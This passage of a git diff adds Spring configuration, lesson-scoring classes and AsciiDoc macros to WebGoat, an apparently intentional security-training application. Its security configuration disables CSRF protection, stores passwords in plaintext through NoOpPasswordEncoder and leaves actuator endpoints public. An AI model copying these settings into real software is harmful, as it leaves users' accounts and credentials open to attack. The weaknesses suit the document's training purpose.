* <p>You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* <p>Getting Source ==============
*
* <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
* for free software projects.
*
* @author WebGoat
* @version $Id: $Id
* @since October 28, 2003
*/
package org.owasp.webgoat.container;
import java.io.IOException;
import java.nio.charset.StandardCharsets;
import java.util.Map;
import java.util.Set;
import lombok.RequiredArgsConstructor;
import lombok.extern.slf4j.Slf4j;
import org.owasp.webgoat.container.i18n.Language;
import org.owasp.webgoat.container.i18n.Messages;
import org.owasp.webgoat.container.i18n.PluginMessages;
import org.owasp.webgoat.container.lessons.LessonScanner;
import org.owasp.webgoat.container.session.LabelDebugger;
import org.springframework.context.ApplicationContext;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.core.io.ResourceLoader;
import org.springframework.core.io.support.ResourcePatternResolver;
import org.springframework.web.servlet.LocaleResolver;
import org.springframework.web.servlet.ViewResolver;
import org.springframework.web.servlet.config.annotation.InterceptorRegistry;
import org.springframework.web.servlet.config.annotation.ResourceHandlerRegistry;
import org.springframework.web.servlet.config.annotation.ViewControllerRegistry;
import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;
import org.springframework.web.servlet.i18n.LocaleChangeInterceptor;
import org.springframework.web.servlet.i18n.SessionLocaleResolver;
import org.thymeleaf.IEngineConfiguration;
import org.thymeleaf.extras.springsecurity5.dialect.SpringSecurityDialect;
import org.thymeleaf.spring5.SpringTemplateEngine;
import org.thymeleaf.spring5.templateresolver.SpringResourceTemplateResolver;
import org.thymeleaf.spring5.view.ThymeleafViewResolver;
import org.thymeleaf.templatemode.TemplateMode;
import org.thymeleaf.templateresolver.FileTemplateResolver;
import org.thymeleaf.templateresolver.ITemplateResolver;
import org.thymeleaf.templateresource.ITemplateResource;
import org.thymeleaf.templateresource.StringTemplateResource;
/** Configuration for Spring MVC */
@Configuration
@RequiredArgsConstructor
@Slf4j
public class MvcConfiguration implements WebMvcConfigurer {
private static final String UTF8 = "UTF-8";
private final LessonScanner lessonScanner;
@Override
public void addViewControllers(ViewControllerRegistry registry) {
registry.addViewController("/login").setViewName("login");
registry.addViewController("/lesson_content").setViewName("lesson_content");
registry.addViewController("/start.mvc").setViewName("main_new");
registry.addViewController("/scoreboard").setViewName("scoreboard");
}
@Bean
public ViewResolver viewResolver(SpringTemplateEngine thymeleafTemplateEngine) {
ThymeleafViewResolver resolver = new ThymeleafViewResolver();
resolver.setTemplateEngine(thymeleafTemplateEngine);
resolver.setCharacterEncoding(StandardCharsets.UTF_8.displayName());
return resolver;
}
/**
* Responsible for loading lesson templates based on Thymeleaf, for example:
*
* <p><div th:include="/lessons/spoofcookie/templates/spoofcookieform.html" id="content"></div>
*/
@Bean
public ITemplateResolver lessonThymeleafTemplateResolver(ResourceLoader resourceLoader) {
var resolver =
new FileTemplateResolver() {
@Override
protected ITemplateResource computeTemplateResource(
IEngineConfiguration configuration,
String ownerTemplate,
String template,
String resourceName,
String characterEncoding,
Map<String, Object> templateResolutionAttributes) {
try (var is =
resourceLoader.getResource("classpath:" + resourceName).getInputStream()) {
return new StringTemplateResource(
new String(is.readAllBytes(), StandardCharsets.UTF_8));
} catch (IOException e) {
return null;
}
}
};
resolver.setOrder(1);
return resolver;
}
/** Loads all normal WebGoat specific Thymeleaf templates */
@Bean
public ITemplateResolver springThymeleafTemplateResolver(ApplicationContext applicationContext) {
SpringResourceTemplateResolver resolver = new SpringResourceTemplateResolver();
resolver.setPrefix("classpath:/webgoat/templates/");
resolver.setSuffix(".html");
resolver.setTemplateMode(TemplateMode.HTML);
resolver.setOrder(2);
resolver.setCharacterEncoding(UTF8);
resolver.setApplicationContext(applicationContext);
return resolver;
}
/** Loads the html for the complete lesson, see lesson_content.html */
@Bean
public LessonTemplateResolver lessonTemplateResolver(ResourceLoader resourceLoader) {
LessonTemplateResolver resolver = new LessonTemplateResolver(resourceLoader);
resolver.setOrder(0);
resolver.setCacheable(false);
resolver.setCharacterEncoding(UTF8);
return resolver;
}
/** Loads the lesson asciidoc. */
@Bean
public AsciiDoctorTemplateResolver asciiDoctorTemplateResolver(
Language language, ResourceLoader resourceLoader) {
log.debug("template locale {}", language);
AsciiDoctorTemplateResolver resolver =
new AsciiDoctorTemplateResolver(language, resourceLoader);
resolver.setCacheable(false);
resolver.setOrder(1);
resolver.setCharacterEncoding(UTF8);
return resolver;
}
@Bean
public SpringTemplateEngine thymeleafTemplateEngine(
ITemplateResolver springThymeleafTemplateResolver,
LessonTemplateResolver lessonTemplateResolver,
AsciiDoctorTemplateResolver asciiDoctorTemplateResolver,
ITemplateResolver lessonThymeleafTemplateResolver) {
SpringTemplateEngine engine = new SpringTemplateEngine();
engine.setEnableSpringELCompiler(true);
engine.addDialect(new SpringSecurityDialect());
engine.setTemplateResolvers(
Set.of(
lessonTemplateResolver,
asciiDoctorTemplateResolver,
lessonThymeleafTemplateResolver,
springThymeleafTemplateResolver));
return engine;
}
@Override
public void addResourceHandlers(ResourceHandlerRegistry registry) {
// WebGoat internal
registry.addResourceHandler("/css/**").addResourceLocations("classpath:/webgoat/static/css/");
registry.addResourceHandler("/js/**").addResourceLocations("classpath:/webgoat/static/js/");
registry
.addResourceHandler("/plugins/**")
.addResourceLocations("classpath:/webgoat/static/plugins/");
registry
.addResourceHandler("/fonts/**")
.addResourceLocations("classpath:/webgoat/static/fonts/");
// WebGoat lessons
registry
.addResourceHandler("/images/**")
.addResourceLocations(
lessonScanner.applyPattern("classpath:/lessons/%s/images/").toArray(String[]::new));
registry
.addResourceHandler("/lesson_js/**")
.addResourceLocations(
lessonScanner.applyPattern("classpath:/lessons/%s/js/").toArray(String[]::new));
registry
.addResourceHandler("/lesson_css/**")
.addResourceLocations(
lessonScanner.applyPattern("classpath:/lessons/%s/css/").toArray(String[]::new));
registry
.addResourceHandler("/lesson_templates/**")
.addResourceLocations(
lessonScanner.applyPattern("classpath:/lessons/%s/templates/").toArray(String[]::new));
registry
.addResourceHandler("/video/**")
.addResourceLocations(
lessonScanner.applyPattern("classpath:/lessons/%s/video/").toArray(String[]::new));
}
@Bean
public PluginMessages pluginMessages(
Messages messages, Language language, ResourcePatternResolver resourcePatternResolver) {
PluginMessages pluginMessages = new PluginMessages(messages, language, resourcePatternResolver);
pluginMessages.setDefaultEncoding("UTF-8");
pluginMessages.setBasenames("i18n/WebGoatLabels");
pluginMessages.setFallbackToSystemLocale(false);
return pluginMessages;
}
@Bean
public Language language(LocaleResolver localeResolver) {
return new Language(localeResolver);
}
@Bean
public LocaleResolver localeResolver() {
SessionLocaleResolver localeResolver = new SessionLocaleResolver();
return localeResolver;
}
@Bean
public LocaleChangeInterceptor localeChangeInterceptor() {
LocaleChangeInterceptor lci = new LocaleChangeInterceptor();
lci.setParamName("lang");
return lci;
}
@Override
public void addInterceptors(InterceptorRegistry registry) {
registry.addInterceptor(localeChangeInterceptor());
}
@Bean
public Messages messageSource(Language language) {
Messages messages = new Messages(language);
messages.setDefaultEncoding("UTF-8");
messages.setBasename("classpath:i18n/messages");
messages.setFallbackToSystemLocale(false);
return messages;
}
@Bean
public LabelDebugger labelDebugger() {
return new LabelDebugger();
}
}

View File

@ -0,0 +1,74 @@
/**
* ************************************************************************************************
*
* <p>
*
* <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* <p>Copyright (c) 2002 - 2014 Bruce Mayhew
*
* <p>This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* <p>You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* <p>Getting Source ==============
*
* <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
* for free software projects.
*
* @author WebGoat
* @version $Id: $Id
* @since October 28, 2003
*/
package org.owasp.webgoat.container;
import java.io.File;
import org.owasp.webgoat.container.session.UserSessionData;
import org.owasp.webgoat.container.session.WebSession;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.boot.autoconfigure.EnableAutoConfiguration;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.ComponentScan;
import org.springframework.context.annotation.Configuration;
import org.springframework.context.annotation.PropertySource;
import org.springframework.context.annotation.Scope;
import org.springframework.context.annotation.ScopedProxyMode;
import org.springframework.web.client.RestTemplate;
@Configuration
@ComponentScan(basePackages = {"org.owasp.webgoat.container", "org.owasp.webgoat.lessons"})
@PropertySource("classpath:application-webgoat.properties")
@EnableAutoConfiguration
public class WebGoat {
@Bean(name = "pluginTargetDirectory")
public File pluginTargetDirectory(@Value("${webgoat.user.directory}") final String webgoatHome) {
return new File(webgoatHome);
}
@Bean
@Scope(value = "session", proxyMode = ScopedProxyMode.TARGET_CLASS)
public WebSession webSession() {
return new WebSession();
}
@Bean
@Scope(value = "session", proxyMode = ScopedProxyMode.TARGET_CLASS)
public UserSessionData userSessionData() {
return new UserSessionData("test", "data");
}
@Bean
public RestTemplate restTemplate() {
return new RestTemplate();
}
}

View File

@ -0,0 +1,108 @@
/**
* ************************************************************************************************
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* <p>Copyright (c) 2002 - 2014 Bruce Mayhew
*
* <p>This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* <p>You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* <p>Getting Source ==============
*
* <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
* for free software projects.
*
* <p>
*
* @author WebGoat
* @version $Id: $Id
* @since December 12, 2015
*/
package org.owasp.webgoat.container;
import lombok.AllArgsConstructor;
import org.owasp.webgoat.container.users.UserService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.security.authentication.AuthenticationManager;
import org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder;
import org.springframework.security.config.annotation.web.builders.HttpSecurity;
import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity;
import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter;
import org.springframework.security.config.annotation.web.configurers.ExpressionUrlAuthorizationConfigurer;
import org.springframework.security.core.userdetails.UserDetailsService;
import org.springframework.security.crypto.password.NoOpPasswordEncoder;
/** Security configuration for WebGoat. */
@Configuration
@AllArgsConstructor
@EnableWebSecurity
public class WebSecurityConfig extends WebSecurityConfigurerAdapter {
private final UserService userDetailsService;
@Override
protected void configure(HttpSecurity http) throws Exception {
ExpressionUrlAuthorizationConfigurer<HttpSecurity>.ExpressionInterceptUrlRegistry security =
http.authorizeRequests()
.antMatchers(
"/css/**",
"/images/**",
"/js/**",
"fonts/**",
"/plugins/**",
"/registration",
"/register.mvc",
"/actuator/**")
.permitAll()
.anyRequest()
.authenticated();
security
.and()
.formLogin()
.loginPage("/login")
.defaultSuccessUrl("/welcome.mvc", true)
.usernameParameter("username")
.passwordParameter("password")
.permitAll();
security.and().logout().deleteCookies("JSESSIONID").invalidateHttpSession(true);
security.and().csrf().disable();
http.headers().cacheControl().disable();
http.exceptionHandling().authenticationEntryPoint(new AjaxAuthenticationEntryPoint("/login"));
}
@Autowired
public void configureGlobal(AuthenticationManagerBuilder auth) throws Exception {
auth.userDetailsService(userDetailsService);
}
@Bean
@Override
public UserDetailsService userDetailsServiceBean() throws Exception {
return userDetailsService;
}
@Override
@Bean
protected AuthenticationManager authenticationManager() throws Exception {
return super.authenticationManager();
}
@SuppressWarnings("deprecation")
@Bean
public NoOpPasswordEncoder passwordEncoder() {
return (NoOpPasswordEncoder) NoOpPasswordEncoder.getInstance();
}
}

View File

@ -0,0 +1,21 @@
package org.owasp.webgoat.container;
import lombok.RequiredArgsConstructor;
import org.springframework.context.ApplicationContext;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.servlet.ModelAndView;
@Controller
@RequiredArgsConstructor
public class WebWolfRedirect {
private final ApplicationContext applicationContext;
@GetMapping("/WebWolf")
public ModelAndView openWebWolf() {
var url = applicationContext.getEnvironment().getProperty("webwolf.url");
return new ModelAndView("redirect:" + url + "/home");
}
}

View File

@ -1,4 +1,4 @@
package org.owasp.webgoat.asciidoc; package org.owasp.webgoat.container.asciidoc;
import org.springframework.beans.BeansException; import org.springframework.beans.BeansException;
import org.springframework.context.ApplicationContext; import org.springframework.context.ApplicationContext;
@ -7,7 +7,8 @@ import org.springframework.core.env.Environment;
import org.springframework.stereotype.Component; import org.springframework.stereotype.Component;
/** /**
* Make environment available in the asciidoc code (which you cannot inject because it is handled by the framework) * Make environment available in the asciidoc code (which you cannot inject because it is handled by
* the framework)
*/ */
@Component @Component
public class EnvironmentExposure implements ApplicationContextAware { public class EnvironmentExposure implements ApplicationContextAware {

View File

@ -0,0 +1,25 @@
package org.owasp.webgoat.container.asciidoc;
import java.util.Map;
import org.asciidoctor.ast.ContentNode;
import org.asciidoctor.extension.InlineMacroProcessor;
public class OperatingSystemMacro extends InlineMacroProcessor {
public OperatingSystemMacro(String macroName) {
super(macroName);
}
public OperatingSystemMacro(String macroName, Map<String, Object> config) {
super(macroName, config);
}
@Override
public Object process(ContentNode contentNode, String target, Map<String, Object> attributes) {
var osName = System.getProperty("os.name");
// see
// https://discuss.asciidoctor.org/How-to-create-inline-macro-producing-HTML-In-AsciidoctorJ-td8313.html for why quoted is used
return createPhraseNode(contentNode, "quoted", osName);
}
}

View File

@ -0,0 +1,31 @@
package org.owasp.webgoat.container.asciidoc;
import java.util.Map;
import org.asciidoctor.ast.ContentNode;
import org.asciidoctor.extension.InlineMacroProcessor;
import org.owasp.webgoat.container.users.WebGoatUser;
import org.springframework.security.core.context.SecurityContextHolder;
public class UsernameMacro extends InlineMacroProcessor {
public UsernameMacro(String macroName) {
super(macroName);
}
public UsernameMacro(String macroName, Map<String, Object> config) {
super(macroName, config);
}
@Override
public Object process(ContentNode contentNode, String target, Map<String, Object> attributes) {
var auth = SecurityContextHolder.getContext().getAuthentication();
var username = "unknown";
if (auth.getPrincipal() instanceof WebGoatUser webGoatUser) {
username = webGoatUser.getUsername();
}
// see
// https://discuss.asciidoctor.org/How-to-create-inline-macro-producing-HTML-In-AsciidoctorJ-td8313.html for why quoted is used
return createPhraseNode(contentNode, "quoted", username);
}
}

View File

@ -0,0 +1,25 @@
package org.owasp.webgoat.container.asciidoc;
import java.util.Map;
import org.asciidoctor.ast.ContentNode;
import org.asciidoctor.extension.InlineMacroProcessor;
public class WebGoatTmpDirMacro extends InlineMacroProcessor {
public WebGoatTmpDirMacro(String macroName) {
super(macroName);
}
public WebGoatTmpDirMacro(String macroName, Map<String, Object> config) {
super(macroName, config);
}
@Override
public Object process(ContentNode contentNode, String target, Map<String, Object> attributes) {
var env = EnvironmentExposure.getEnv().getProperty("webgoat.server.directory");
// see
// https://discuss.asciidoctor.org/How-to-create-inline-macro-producing-HTML-In-AsciidoctorJ-td8313.html for why quoted is used
return createPhraseNode(contentNode, "quoted", env);
}
}

View File

@ -0,0 +1,25 @@
package org.owasp.webgoat.container.asciidoc;
import java.util.Map;
import org.asciidoctor.ast.ContentNode;
import org.asciidoctor.extension.InlineMacroProcessor;
public class WebGoatVersionMacro extends InlineMacroProcessor {
public WebGoatVersionMacro(String macroName) {
super(macroName);
}
public WebGoatVersionMacro(String macroName, Map<String, Object> config) {
super(macroName, config);
}
@Override
public Object process(ContentNode contentNode, String target, Map<String, Object> attributes) {
var webgoatVersion = EnvironmentExposure.getEnv().getProperty("webgoat.build.version");
// see
// https://discuss.asciidoctor.org/How-to-create-inline-macro-producing-HTML-In-AsciidoctorJ-td8313.html for why quoted is used
return createPhraseNode(contentNode, "quoted", webgoatVersion);
}
}

View File

@ -0,0 +1,73 @@
package org.owasp.webgoat.container.asciidoc;
import java.util.HashMap;
import java.util.Map;
import javax.servlet.http.HttpServletRequest;
import org.asciidoctor.ast.ContentNode;
import org.asciidoctor.extension.InlineMacroProcessor;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
/**
* Usage in asciidoc:
*
* <p>webWolfLink:here[] will display a href with here as text
*/
public class WebWolfMacro extends InlineMacroProcessor {
public WebWolfMacro(String macroName) {
super(macroName);
}
public WebWolfMacro(String macroName, Map<String, Object> config) {
super(macroName, config);
}
@Override
public Object process(ContentNode contentNode, String linkText, Map<String, Object> attributes) {
var env = EnvironmentExposure.getEnv();
var hostname = determineHost(env.getProperty("webwolf.port"));
var target = (String) attributes.getOrDefault("target", "home");
var href = hostname + "/" + target;
// are we using noLink in webWolfLink:landing[noLink]? Then display link with full href
if (displayCompleteLinkNoFormatting(attributes)) {
linkText = href;
}
var options = new HashMap<String, Object>();
options.put("type", ":link");
options.put("target", href);
attributes.put("window", "_blank");
return createPhraseNode(contentNode, "anchor", linkText, attributes, options).convert();
}
private boolean displayCompleteLinkNoFormatting(Map<String, Object> attributes) {
return attributes.values().stream().anyMatch(a -> a.equals("noLink"));
}
/**
* Determine the host from the hostname and ports that were used. The purpose is to make it
* possible to use the application behind a reverse proxy. For instance in the docker
* compose/stack version with webgoat webwolf and nginx proxy. You do not have to use the
* indicated hostname, but if you do, you should define two hosts aliases 127.0.0.1
* www.webgoat.local www.webwolf.local
*/
private String determineHost(String port) {
HttpServletRequest request =
((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest();
String host = request.getHeader("Host");
int semicolonIndex = host.indexOf(":");
if (semicolonIndex == -1 || host.endsWith(":80")) {
host = host.replace(":80", "").replace("www.webgoat.local", "www.webwolf.local");
} else {
host = host.substring(0, semicolonIndex);
host = host.concat(":").concat(port);
}
return "http://" + host + (includeWebWolfContext() ? "/WebWolf" : "");
}
protected boolean includeWebWolfContext() {
return true;
}
}

View File

@ -0,0 +1,25 @@
package org.owasp.webgoat.container.asciidoc;
import java.util.Map;
/**
* Usage in asciidoc:
*
* <p>webWolfLink:here[] will display a href with here as text webWolfLink:landing[noLink] will
* display the complete url, for example: http://WW_HOST:WW_PORT/landing
*/
public class WebWolfRootMacro extends WebWolfMacro {
public WebWolfRootMacro(String macroName) {
super(macroName);
}
public WebWolfRootMacro(String macroName, Map<String, Object> config) {
super(macroName, config);
}
@Override
protected boolean includeWebWolfContext() {
return false;
}
}

View File

@ -0,0 +1,92 @@
/*
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
* <p>
* Copyright (c) 2002 - 2017 Bruce Mayhew
* <p>
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
* <p>
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
* <p>
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
* <p>
* Getting Source ==============
* <p>
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
* projects.
* <p>
*/
package org.owasp.webgoat.container.assignments;
import lombok.Getter;
import org.owasp.webgoat.container.i18n.PluginMessages;
import org.owasp.webgoat.container.lessons.Initializeable;
import org.owasp.webgoat.container.session.UserSessionData;
import org.owasp.webgoat.container.session.WebSession;
import org.owasp.webgoat.container.users.WebGoatUser;
import org.springframework.beans.factory.annotation.Autowired;
public abstract class AssignmentEndpoint implements Initializeable {
@Autowired private WebSession webSession;
@Autowired private UserSessionData userSessionData;
@Getter @Autowired private PluginMessages messages;
protected WebSession getWebSession() {
return webSession;
}
protected UserSessionData getUserSessionData() {
return userSessionData;
}
/**
* Convenience method for create a successful result:
*
* <p>- Assignment is set to solved - Feedback message is set to 'assignment.solved'
*
* <p>Of course you can overwrite these values in a specific lesson
*
* @return a builder for creating a result from a lesson
* @param assignment
*/
protected AttackResult.AttackResultBuilder success(AssignmentEndpoint assignment) {
return AttackResult.builder(messages)
.lessonCompleted(true)
.attemptWasMade()
.feedback("assignment.solved")
.assignment(assignment);
}
/**
* Convenience method for create a failed result:
*
* <p>- Assignment is set to not solved - Feedback message is set to 'assignment.not.solved'
*
* <p>Of course you can overwrite these values in a specific lesson
*
* @return a builder for creating a result from a lesson
* @param assignment
*/
protected AttackResult.AttackResultBuilder failed(AssignmentEndpoint assignment) {
return AttackResult.builder(messages)
.lessonCompleted(false)
.attemptWasMade()
.feedback("assignment.not.solved")
.assignment(assignment);
}
protected AttackResult.AttackResultBuilder informationMessage(AssignmentEndpoint assignment) {
return AttackResult.builder(messages).lessonCompleted(false).assignment(assignment);
}
@Override
public void initialize(WebGoatUser user) {}
}

View File

@ -1,13 +1,11 @@
package org.owasp.webgoat.assignments; package org.owasp.webgoat.container.assignments;
import java.lang.annotation.ElementType; import java.lang.annotation.ElementType;
import java.lang.annotation.Retention; import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy; import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.Target; import java.lang.annotation.Target;
/** /** Created by nbaars on 1/14/17. */
* Created by nbaars on 1/14/17.
*/
@Target(ElementType.TYPE) @Target(ElementType.TYPE)
@Retention(RetentionPolicy.RUNTIME) @Retention(RetentionPolicy.RUNTIME)
public @interface AssignmentHints { public @interface AssignmentHints {

View File

@ -1,15 +1,12 @@
package org.owasp.webgoat.assignments; package org.owasp.webgoat.container.assignments;
import org.springframework.web.bind.annotation.RequestMethod;
import java.lang.annotation.ElementType; import java.lang.annotation.ElementType;
import java.lang.annotation.Retention; import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy; import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.Target; import java.lang.annotation.Target;
import org.springframework.web.bind.annotation.RequestMethod;
/** /** Created by nbaars on 1/14/17. */
* Created by nbaars on 1/14/17.
*/
@Target(ElementType.TYPE) @Target(ElementType.TYPE)
@Retention(RetentionPolicy.RUNTIME) @Retention(RetentionPolicy.RUNTIME)
public @interface AssignmentPath { public @interface AssignmentPath {

View File

@ -0,0 +1,128 @@
/*
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
* <p>
* Copyright (c) 2002 - 2017 Bruce Mayhew
* <p>
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
* <p>
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
* <p>
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
* <p>
* Getting Source ==============
* <p>
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
* projects.
* <p>
*/
package org.owasp.webgoat.container.assignments;
import static org.apache.commons.text.StringEscapeUtils.escapeJson;
import lombok.Getter;
import org.owasp.webgoat.container.i18n.PluginMessages;
public class AttackResult {
public static class AttackResultBuilder {
private boolean lessonCompleted;
private PluginMessages messages;
private Object[] feedbackArgs;
private String feedbackResourceBundleKey;
private String output;
private Object[] outputArgs;
private AssignmentEndpoint assignment;
private boolean attemptWasMade = false;
public AttackResultBuilder(PluginMessages messages) {
this.messages = messages;
}
public AttackResultBuilder lessonCompleted(boolean lessonCompleted) {
this.lessonCompleted = lessonCompleted;
this.feedbackResourceBundleKey = "lesson.completed";
return this;
}
public AttackResultBuilder lessonCompleted(boolean lessonCompleted, String resourceBundleKey) {
this.lessonCompleted = lessonCompleted;
this.feedbackResourceBundleKey = resourceBundleKey;
return this;
}
public AttackResultBuilder feedbackArgs(Object... args) {
this.feedbackArgs = args;
return this;
}
public AttackResultBuilder feedback(String resourceBundleKey) {
this.feedbackResourceBundleKey = resourceBundleKey;
return this;
}
public AttackResultBuilder output(String output) {
this.output = output;
return this;
}
public AttackResultBuilder outputArgs(Object... args) {
this.outputArgs = args;
return this;
}
public AttackResultBuilder attemptWasMade() {
this.attemptWasMade = true;
return this;
}
public AttackResult build() {
return new AttackResult(
lessonCompleted,
messages.getMessage(feedbackResourceBundleKey, feedbackArgs),
messages.getMessage(output, output, outputArgs),
assignment.getClass().getSimpleName(),
attemptWasMade);
}
public AttackResultBuilder assignment(AssignmentEndpoint assignment) {
this.assignment = assignment;
return this;
}
}
@Getter private boolean lessonCompleted;
@Getter private String feedback;
@Getter private String output;
@Getter private final String assignment;
@Getter private boolean attemptWasMade;
public AttackResult(
boolean lessonCompleted,
String feedback,
String output,
String assignment,
boolean attemptWasMade) {
this.lessonCompleted = lessonCompleted;
this.feedback = escapeJson(feedback);
this.output = escapeJson(output);
this.assignment = assignment;
this.attemptWasMade = attemptWasMade;
}
public static AttackResultBuilder builder(PluginMessages messages) {
return new AttackResultBuilder(messages);
}
public boolean assignmentSolved() {
return lessonCompleted;
}
}

View File

@ -0,0 +1,81 @@
/*
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2019 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
*/
package org.owasp.webgoat.container.assignments;
import org.owasp.webgoat.container.session.WebSession;
import org.owasp.webgoat.container.users.UserTracker;
import org.owasp.webgoat.container.users.UserTrackerRepository;
import org.springframework.core.MethodParameter;
import org.springframework.http.MediaType;
import org.springframework.http.converter.HttpMessageConverter;
import org.springframework.http.server.ServerHttpRequest;
import org.springframework.http.server.ServerHttpResponse;
import org.springframework.web.bind.annotation.RestControllerAdvice;
import org.springframework.web.servlet.mvc.method.annotation.ResponseBodyAdvice;
@RestControllerAdvice
public class LessonTrackerInterceptor implements ResponseBodyAdvice<Object> {
private UserTrackerRepository userTrackerRepository;
private WebSession webSession;
public LessonTrackerInterceptor(
UserTrackerRepository userTrackerRepository, WebSession webSession) {
this.userTrackerRepository = userTrackerRepository;
this.webSession = webSession;
}
@Override
public boolean supports(
MethodParameter methodParameter, Class<? extends HttpMessageConverter<?>> clazz) {
return true;
}
@Override
public Object beforeBodyWrite(
Object o,
MethodParameter methodParameter,
MediaType mediaType,
Class<? extends HttpMessageConverter<?>> aClass,
ServerHttpRequest serverHttpRequest,
ServerHttpResponse serverHttpResponse) {
if (o instanceof AttackResult attackResult) {
trackProgress(attackResult);
}
return o;
}
protected AttackResult trackProgress(AttackResult attackResult) {
UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName());
if (userTracker == null) {
userTracker = new UserTracker(webSession.getUserName());
}
if (attackResult.assignmentSolved()) {
userTracker.assignmentSolved(webSession.getCurrentLesson(), attackResult.getAssignment());
} else {
userTracker.assignmentFailed(webSession.getCurrentLesson());
}
userTrackerRepository.saveAndFlush(userTracker);
return attackResult;
}
}

View File

@ -0,0 +1,90 @@
/**
* ************************************************************************************************
*
* <p>
*
* <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* <p>Copyright (c) 2002 - 2014 Bruce Mayhew
*
* <p>This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* <p>You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* <p>Getting Source ==============
*
* <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
* for free software projects.
*
* @author WebGoat
* @version $Id: $Id
* @since October 28, 2003
*/
package org.owasp.webgoat.container.controller;
import javax.servlet.http.HttpServletRequest;
import org.owasp.webgoat.container.session.Course;
import org.owasp.webgoat.container.session.WebSession;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.servlet.ModelAndView;
@Controller
public class StartLesson {
private final WebSession ws;
private final Course course;
public StartLesson(WebSession ws, Course course) {
this.ws = ws;
this.course = course;
}
/**
* start.
*
* @return a {@link ModelAndView} object.
*/
@RequestMapping(
path = "startlesson.mvc",
